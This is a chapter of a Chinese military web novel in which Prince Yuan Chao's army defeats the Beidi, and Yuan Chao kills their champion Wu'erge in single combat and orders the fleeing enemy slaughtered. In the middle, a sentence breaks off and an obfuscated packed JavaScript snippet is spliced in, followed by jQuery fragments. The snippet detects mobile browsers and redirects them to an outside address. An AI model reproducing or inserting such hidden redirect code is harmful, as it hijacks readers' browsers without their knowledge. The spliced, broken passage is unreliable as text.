众人押运着数车皮货,顶风冒雪,终是安然抵达了北疆大营。
袁晁正与陈平等人在中军帐内议事,帐外哨兵来报:“启禀王爷,启禀大将军,义安郡差遣运来的御寒衣物,已到大营门外。”
众人忙起身,出了大帐相迎。只见苍茫雪地中,十余辆沉重的马车缓缓而来,每辆车上皆是厚实的青布覆盖。车队是护卫骑士前后拱卫,为首一人正是李韦忠的干儿子李炽,断后压阵的,则是大鸿镖局的镖头赵大海。
“诸位一路辛苦了!”袁晁亲自上前搀扶李炽下马,只见李炽等人脸颊冻得通红皴裂,便知一路跋涉何等艰险困苦。
李炽不敢受袁晁的搀扶,忙翻身下马,抱拳躬身道:“启禀王爷,王妃娘娘深知边关将士苦寒,特命下官与赵镖头押运这些皮毛衣物送来。一路上虽遇些许蟊贼拦截,所幸未损一物。”
陈平瞧向袁晁,大笑道:“赵王妃身在内宅,心怀社稷,此等深明大义之举,是王爷的福气,也是我大晋的福气,哈哈哈哈……”
袁晁也笑道:“大将军过奖了。本王身在北疆,她一弱女子,独自在家支撑门户,实在是……有愧于她。”
正说话间,十余辆马车已在中军大帐前排开。陈平看着袁晁命人将衣物清点分发各营将士,数十名劫匪已带下去被人看管,他心内知晓此事定不能善了。
接到物资的兵士们跟随陈平征战多年,早已习惯了边关的艰苦。往日里只穿单薄夹袄、破旧戎衣,冬日操练或守夜时,常冻得瑟瑟发抖,更有不少士卒因此而染上风寒,卧病不起。
“乖乖……这、这可真暖和!”
“明日若再遇北狄,我定要打得他们丢盔弃甲!”
数日后,大军开拔,雪地中,一个个穿着皮袄的士兵,精神抖擞,杀气腾腾。
路上,晋军将士遇到了几支北狄斥候,陈平想要生擒几个俘虏:“王爷,北狄斥候狡猾,生擒几个,或可探得他们的虚实。”
袁晁冷冷开口:“不必留活口,尽数斩杀。”
晋军兵士刀斧齐下,血光迸溅,几名斥候欲逃,尚未奔出十步,便被长矛贯穿,惨叫声未落,人已倒地。
北狄单于博尔木闻报大怒:“传令下去,全军备战,待晋军到来,必要杀他个片甲不留!”
接下来的数日,晋军与北狄连战数场,屡战屡胜,将北狄骑兵打得丢盔弃甲,节节败退,直逼其王庭左近。
博尔木闻讯大惊失色,速速召来乌尔格,要他务必挡住晋军的进攻。
乌尔格拍着胸脯保证:“请单于放心,乌尔格定能挡住晋军,保我北狄王庭无虞!”
两军对垒于旷野之上,寒风卷着雪沫,刮得人面颊生疼。北狄阵中,一骑人马如疾风般驰出,马上一人,身形异常魁梧,身披厚重盔甲,手持一柄大刀,此人正是乌尔格。
他勒马阵前,忽然目光定在当先一员大将身上,脸上露出狞厉的笑容,高声喝道:“兀那汉将!我认得你!你不就是那个‘张弓长’么?前次在义安郡,你我交手,若不是老子当时肩头有伤,未尽全力,你早已丧命于我这口宝刀之下!”
他所指之人,正是晋军猛将唐一铮。唐一铮纵声大笑:“哈哈哈哈!你这蛮子,记性倒还不差!爷爷行不更名,坐不改姓,乃护军统领唐一铮是也!什么‘张弓长’,那是爷爷当日闲着无聊,逗你这蠢材顽呢!”
乌尔格本想借旧事折辱唐一铮,不料反被嘲弄,他狞笑道:“放屁!你们汉人最是奸猾无比,连个名字都要弄出许多花样来!莫不是真名羞于见人?少逞口舌之利!有胆的,叫你们那个缩头乌龟义安王袁晁出来,与我乌尔格决一死战!”
唐一铮纵马向前几步,手中长槊一指乌尔格,嘲笑道:“当日在义安郡,你被爷爷我杀得狼狈逃窜,如今倒有脸来此叫阵?似你这等货色,连爷爷我都打不过,也配与我家王爷交手?还是先过了爷爷这一关再说罢!”
话音未落,二人同时拍马冲出,在阵前捉对厮杀,转眼间已斗了百十回合,仍是不分胜负。
两军将士亦在呐喊声中开始了惨烈的冲杀,刀光剑影,喊杀声、惨叫声、金铁交鸣声交织,整个战场犹如一片血肉磨坊。
乌尔格悍勇异常,猛地一声暴喝,虚晃一刀,趁唐一铮回槊格挡之际,噗嗤一声,刀锋划破了唐一铮胸前的铠甲,刺入寸许!
唐一铮气血翻涌,险些栽下马去。乌尔格见一击得手,得意非常,仰天发出一阵狂笑,还待再进。
晋军阵中早有将领看见,急忙鸣金收兵。数员副将奋力冲上,将唐一铮抢回。
乌尔格立于阵前,耀武扬威。眼见天色将晚,双方各自收拾战场,掩埋尸骨,只待来日再决雌雄。
袁晁瞧着面色苍白的唐一铮,打趣道:“你素来勇冠三军,今日竟也有马失前蹄之时?”
唐一铮苦笑,道:“末将无能,让王爷见笑了。乌尔格天生神力,武艺也着实高强,末将一时不慎,便着了他的道儿。”
他顿了顿,目光转向袁晁和陈平,:“王爷,大将军,此人万万不可轻视!昔日乌尔格余部被阿拉坦吉图尽数消灭,他能忍辱负重,在北狄借势崛起,身居高位,可见其心志之坚韧。若是日后他潜入义安郡寻仇报复,只怕要伤及无辜百姓!我等务必将其斩杀于阵前,以绝后患!”
袁晁听着唐一铮的话,缓缓点头:“一铮所虑极是。此等凶顽之徒,断不能容他再生祸端。明日,本王亲自出阵,会一会这位‘北狄第一勇士’!”
“王爷,万万不可!”一旁的陈平忙上前一步,道:“王爷乃千金之躯,岂可轻易临阵涉险?所谓‘君子不立危墙之下’,两军交锋,刀剑无眼,万一……万一有个闪失,则我北疆军心必乱,国之北门危矣!何须王爷亲自动手?末将愿率帐下诸将,轮番出战!”
袁晁转过头,看着为大晋镇守北疆几十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431784|164830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
载的老将军,笑道:“大将军,你戎马一生,实不宜再亲冒矢石。这些年,你为大晋鞠躬尽瘁,已是功莫大焉。待此战事了,你也该回京城,卸甲归田,颐养天年了。”
次日清晨,寒风更冽。袁晁一身亮银铠甲,手持宝剑,缓缓驰出阵前,这是他第一次亲眼见到乌尔格本人。
对面的乌尔格见出阵的竟是袁晁,随即发出更加嚣张的狂笑,口中污言秽语,极尽挑衅之能事。
袁晁却恍若未闻,俊美异常的脸庞上,没有任何表情,唯有一双深邃的眼眸,冰冷地注视着咆哮的乌尔格,仿佛在看一个死人。
不等乌尔格叫骂稍歇,袁晁猛地一夹马腹,直扑乌尔格!他身形稳如山岳,甫一交手,便直指乌尔格周身要害!
乌尔格惊诧于袁晁的气势,心内一颤,但他久经战场,凶悍骁勇,面对袁晁石破天惊般的攻势,怒吼一声,挥舞弯刀奋力迎击。
两人兵器瞬间碰撞,乌尔格只觉虎口发麻,心中骇然:看似文雅的义安王,力量竟如此惊人!
袁晁的攻势如长江大河,连绵不绝,一剑快过一剑,剑光凛冽,杀气森然。
乌尔格奋力抵挡,竟被逼得手忙脚乱,左支右绌,在袁晁冰冷的眼神和疾风骤雨般的剑势下,心中竟起了胆怯之意。
不过二十余合,乌尔格已是险象环生。就在他奋力格开袁晁刺向面门的一剑,旧力已尽,新力未生之际,袁晁手腕一翻,手中利剑如同灵蛇吐信,噗地一声,洞穿了乌尔格的咽喉!
乌尔格脸上的狞笑和惊骇瞬间凝固,他喉咙里发出嗬嗬的声响,手中沉重的弯刀哐当落地,身躯晃了两晃,便一头从马背上栽倒下来,砸在冰冷的雪地上,抽搐了几下,再无声息。
主将阵亡,北狄军队顿时大乱,士兵们如同无头苍蝇般,惊恐万状,纷纷掉头逃窜。
袁晁染血的利剑斜指向天,冷酷下令:“全军听令,追击北狄贼寇,尽数斩杀!一个不留!”
“杀!杀!杀!”晋军将士见袁晁亲斩敌酋,士气高涨到顶点,朝着溃逃的北狄军队,如同潮水般掩杀过去。
陈平他欲言又止,嘴唇微动,终是咽下劝阻之言。袁晁这心性,杀性一起,竟然寸草不留……
陈平凝视袁晁一马当先的背影,剑光如匹,敌人身首异处,雪原血流成河。袁晁面无表情,仿若一尊冰冷的杀神,令人不寒而栗。
此后半年,袁晁亲率大军,与北狄残部进行了大大小小十余场激战,剿抚并用,斩杀北狄精锐兵士数万人。
北狄主力几乎损失殆尽,元气大伤,再也无力南下侵扰。
为求部族苟存,博尔木只得率领残余部众,如同惊弓之鸟般,一路向北迁徙,远离长城数百里之外,至少在往后的数十年间,再不敢窥伺中原一步。
在漠北草原上,只要提起袁晁的名字,即便是最顽劣的孩童,也会立刻吓得止住哭啼,其威慑之深,可见一斑。